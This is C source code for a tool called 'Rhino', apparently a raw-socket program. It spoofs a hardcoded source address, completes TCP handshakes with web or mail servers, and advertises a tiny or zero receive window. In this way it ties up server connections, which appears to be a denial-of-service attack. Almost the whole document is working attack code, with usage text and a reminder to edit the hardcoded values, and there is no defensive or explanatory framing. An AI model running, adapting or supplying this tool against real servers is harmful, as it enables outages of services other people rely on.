2008 10 29 0x0019 Rhino
/*  gcc rhino.c -l pcap -o rhino */
/* check for the hardcoded values you need to change */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define __USE_BSD   
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#define __FAVOR_BSD  
#include <netinet/tcp.h>
#include <unistd.h>

#include <pcap.h>

int sd;
int wsize = 1;
unsigned short servertype = 80;
int datalength = 0;
char serverip[20];
char interface[29];
char data[] = "GET / HTTP/1.0\r\n\r\n";
unsigned short sourceport = 1000;
unsigned long tracking_sequence = 0x131123;

#define TYPE_SYN 1
#define TYPE_ACK 2
#define TYPE_REQUEST 4

struct psd_tcp 
{
  struct in_addr src;
  struct in_addr dst;
  unsigned char pad;
  unsigned char proto;
  unsigned short tcp_len;
  struct tcphdr tcp;
  char data[19];
};

unsigned short in_cksum(unsigned short *addr, int len)
{
  int nleft = len;
  int sum = 0;
  unsigned short *w = addr;
  unsigned short answer = 0;

  while (nleft > 1) 
    {
      sum += *w++;
      nleft -= 2;
    }

  if (nleft == 1) 
    {
      *(unsigned char *) (&answer) = *(unsigned char *) w;
      sum += answer;
    }

  sum = (sum >> 16) + (sum & 0xFFFF);
  sum += (sum >> 16);
  answer = ~sum;
  return (answer);
}

unsigned short in_cksum_tcp(int src, int dst, unsigned short *addr, int len, int request)
{
  struct psd_tcp buf;
  u_short ans;

  memset(&buf, 0, sizeof(buf));
  buf.src.s_addr = src;
  buf.dst.s_addr = dst;
  buf.pad = 0;
  buf.proto = IPPROTO_TCP;
  if(request == TYPE_REQUEST)
    buf.tcp_len = htons(len + datalength);
  else
    buf.tcp_len = htons(len);

  memcpy(&(buf.tcp), addr, len);
  strncpy(buf.data,data,datalength);
  if(request == TYPE_REQUEST)
    ans = in_cksum((unsigned short *)&buf, 12 + len + datalength);
  else
    ans = in_cksum((unsigned short *)&buf, 12 + len);
  return (ans);
}

void tcp_send(int s_seq, int type)
{
  struct ip ip;
  struct tcphdr tcp;
  struct sockaddr_in sin;

  u_char *packet;
  packet = (u_char *)malloc(256);
  ip.ip_hl = 0x5;
  ip.ip_v = 0x4;
  ip.ip_tos = 0x0;
  if(type == TYPE_REQUEST)
    {
      ip.ip_len = sizeof(struct ip) + sizeof(struct tcphdr) + datalength; 
    }
  else
    {
      ip.ip_len = sizeof(struct ip) + sizeof(struct tcphdr); 
    }
  ip.ip_id = htons(sourceport);
  ip.ip_off = 0x0;
  ip.ip_ttl = 64;
  ip.ip_p = IPPROTO_TCP;
  ip.ip_sum = 0x0;
  ip.ip_src.s_addr = inet_addr("192.168.1.17");
  ip.ip_dst.s_addr = inet_addr(serverip);
  ip.ip_sum = in_cksum((unsigned short *)&ip, sizeof(ip));
  memcpy(packet, &ip, sizeof(ip));

  if(type == TYPE_SYN)
    {
      tcp.th_flags = TH_SYN;
      tcp.th_ack = htonl(s_seq + 1);
      tcp.th_win = htons(wsize);
    }
  else if(type == TYPE_REQUEST)
    {
      tracking_sequence;
      tcp.th_ack = htonl(s_seq);
      tcp.th_flags = TH_PUSH | TH_ACK;
      tcp.th_win = htons(20);
    }
  else
    {      
      tracking_sequence++;
      tcp.th_ack = htonl(s_seq + 1);
      tcp.th_flags = TH_ACK;
      tcp.th_win = htons(wsize);
    }

  tcp.th_sport = htons(sourceport);
  tcp.th_dport = htons(servertype);
  tcp.th_seq = htonl(tracking_sequence);
  tcp.th_off = sizeof(struct tcphdr) / 4;

  tcp.th_sum = 0;
  tcp.th_sum = in_cksum_tcp(ip.ip_src.s_addr, ip.ip_dst.s_addr, (unsigned short *)&tcp, sizeof(tcp),type);

  memcpy((packet + sizeof(ip)), &tcp, sizeof(tcp));

  if(type == TYPE_REQUEST)
    {  
      memcpy((packet + (sizeof(ip)  + sizeof(tcp))), data, datalength);
    }
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = ip.ip_dst.s_addr;

  if (sendto(sd, packet, ip.ip_len, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0)  
    {
      perror("sendto");
      exit(1);
    }    
}

void *run(void *arg)
{
  const int on = 1;
  struct ip ip;
  struct tcphdr tcp;
  struct sockaddr_in sin;

  if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
    perror("raw socket");
    exit(1);
  }

  if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
    perror("setsockopt");
    exit(1);
  }

  sourceport = random() % 65000;
  tcp_send(0,TYPE_SYN);

}
int flag  = 0;
void raw_packet_receiver(u_char *udata, const struct pcap_pkthdr *pkthdr, const u_char *packet)
{
  struct ip *ip;
  struct tcphdr *tcp;
  u_char *ptr;
  int l1_len = (int)udata;
  int s_seq;

  ip = (struct ip *)(packet + l1_len);
  tcp = (struct tcphdr *)(packet + l1_len + sizeof(struct ip));

  int pktlength = ntohs(ip->ip_len);

  printf("PKT: %d:%d ", l1_len, pktlength);
  if(tcp->th_flags & TH_SYN)
    printf("SYN ");
  if(tcp->th_flags & TH_ACK )
    printf("ACK ");
  if(tcp->th_flags & TH_PUSH)
    printf("PSH ");
  if(tcp->th_flags & TH_RST)
    printf("RST ");
  printf("ack: %u seq: %u\n", ntohl(tcp->th_ack), ntohl(tcp->th_seq));

  s_seq = ntohl(tcp->th_seq);

  if(tcp->th_flags & TH_RST)
    {
      printf("Reset received - ah shucks :(\n");
      exit(-1);
    }

  if(!flag)
    {
      tcp_send(s_seq,TYPE_ACK);
      sleep(1);
      tcp_send(s_seq,TYPE_REQUEST);
      flag++;
    }

  sleep(1);

  if(flag && pktlength == 41)
    {
      tcp_send(s_seq,TYPE_ACK);
    }
}

void *pth_capture_run(void *arg)
{
  pcap_t *pd;
  char *filter;
  char *dev = interface;
  char errbuf[PCAP_ERRBUF_SIZE];
  char userfilter[256];
  bpf_u_int32 netp;
  bpf_u_int32 maskp;
  struct bpf_program fprog;/* Filter Program*/
  int dl = 0, dl_len = 0;

  sprintf(userfilter,"dst host 192.168.1.17 and src host %s and ip and tcp",serverip);
  filter = userfilter;

  if ((pd = pcap_open_live(dev, 1514, 1, 500, errbuf)) == NULL) 
    {
      fprintf(stderr, "cannot open device %s: %s\n", dev, errbuf);
      exit(1);
    }

  pcap_lookupnet(dev, &netp, &maskp, errbuf);
  printf("setting filter of '%s'\n",userfilter);
  pcap_compile(pd, &fprog, filter, 0, netp);
  if (pcap_setfilter(pd, &fprog) == -1) 
    {
      fprintf(stderr, "cannot set pcap filter %s: %s\n", filter, errbuf);
      exit(1);
    }

  pcap_freecode(&fprog);
  dl = pcap_datalink(pd);

  switch(dl) 
    {
    case 1:
      dl_len = 14;
      break;
    default:
      dl_len = 14;
      break;
  }

  if (pcap_loop(pd, -1, raw_packet_receiver, (u_char *)dl_len) < 0) 
    {
      fprintf(stderr, "cannot get raw packet: %s\n", pcap_geterr(pd));
      exit(1);
    }
}

#include <sys/time.h>
void random_setup(void)
{
  struct timeval t;
  int i;

  gettimeofday(&t, NULL); 

  printf("The time is %ld.%06ld seconds since the Unix epoch\n",
     t.tv_sec, t.tv_usec);

  srandom(t.tv_usec);
}
int main(int argc, char *argv[])
{
  pthread_t tid_pr;

  if(argc < 4)
    {
      fprintf(stderr," usage: %s <interface> <server> <serverport> <windowsize>\r\n",argv[0]);
      exit(0);
    }

  strncpy(interface,argv[1],30);

  if(strlen(argv[2]) > 15)
    {
      fprintf(stderr,"I need an IP address - blah\r\n");
      exit(0);
    }
  strncpy(serverip,argv[2],strlen(argv[2]));

  servertype = atoi(argv[3]);

  if(servertype != 80 && servertype != 25)
    servertype = 80;

  if(servertype == 80)
  {
      servertype = 80;
      strcpy(data,"GET / HTTP/1.0\r\n\r\n");
  }
  else if(servertype == 25)
    {
      servertype = 25;
      strcpy(data, "HELO\r\n");
    }
  datalength = strlen(data);

  wsize = atoi(argv[4]);

  if(wsize == 0)
    printf("window size 0 selected - I will get there\n");

  random_setup();
  printf("%s:%s:%d:%d\r\n",interface,serverip,servertype,datalength);
  if (pthread_create(&tid_pr, NULL, pth_capture_run, NULL) != 0) 
    {
      fprintf(stderr, "cannot create raw packet reader\n");
      exit(1);
    }
  sleep(1);

  run(NULL);

  pthread_join(tid_pr, NULL);
  return 0;
}
Unless otherwise stated, the content of this page is licensed under Creative Commons Attribution-Share Alike 2.5 License.